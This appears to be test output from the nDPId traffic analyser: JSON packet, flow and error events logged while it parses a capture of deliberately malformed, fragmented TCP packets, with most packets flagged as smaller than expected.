-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828732} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828743} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828755} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828766} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828817} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828825} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828832} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828840} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828849} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828856} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828863} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828870} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828878} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828889} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828900} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828912} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828923} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828938} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244026828950} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":2504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjQ2MzE5ODIw"} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244027129094,"flow_src_last_pkt_time":1534244027129094,"flow_dst_last_pkt_time":1534244027129094,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244027129094,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":13617,"dst_port":10536,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_src_last_pkt_time":1534244027129094,"flow_dst_last_pkt_time":1534244027129094,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiYeLwAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129126} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129132} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129137} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129142} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129148} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129153} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129158} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129162} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129167} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129172} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129177} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129223} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129279} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129284} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129288} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129293} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129298} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129304} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129308} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129313} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129318} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129323} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129328} 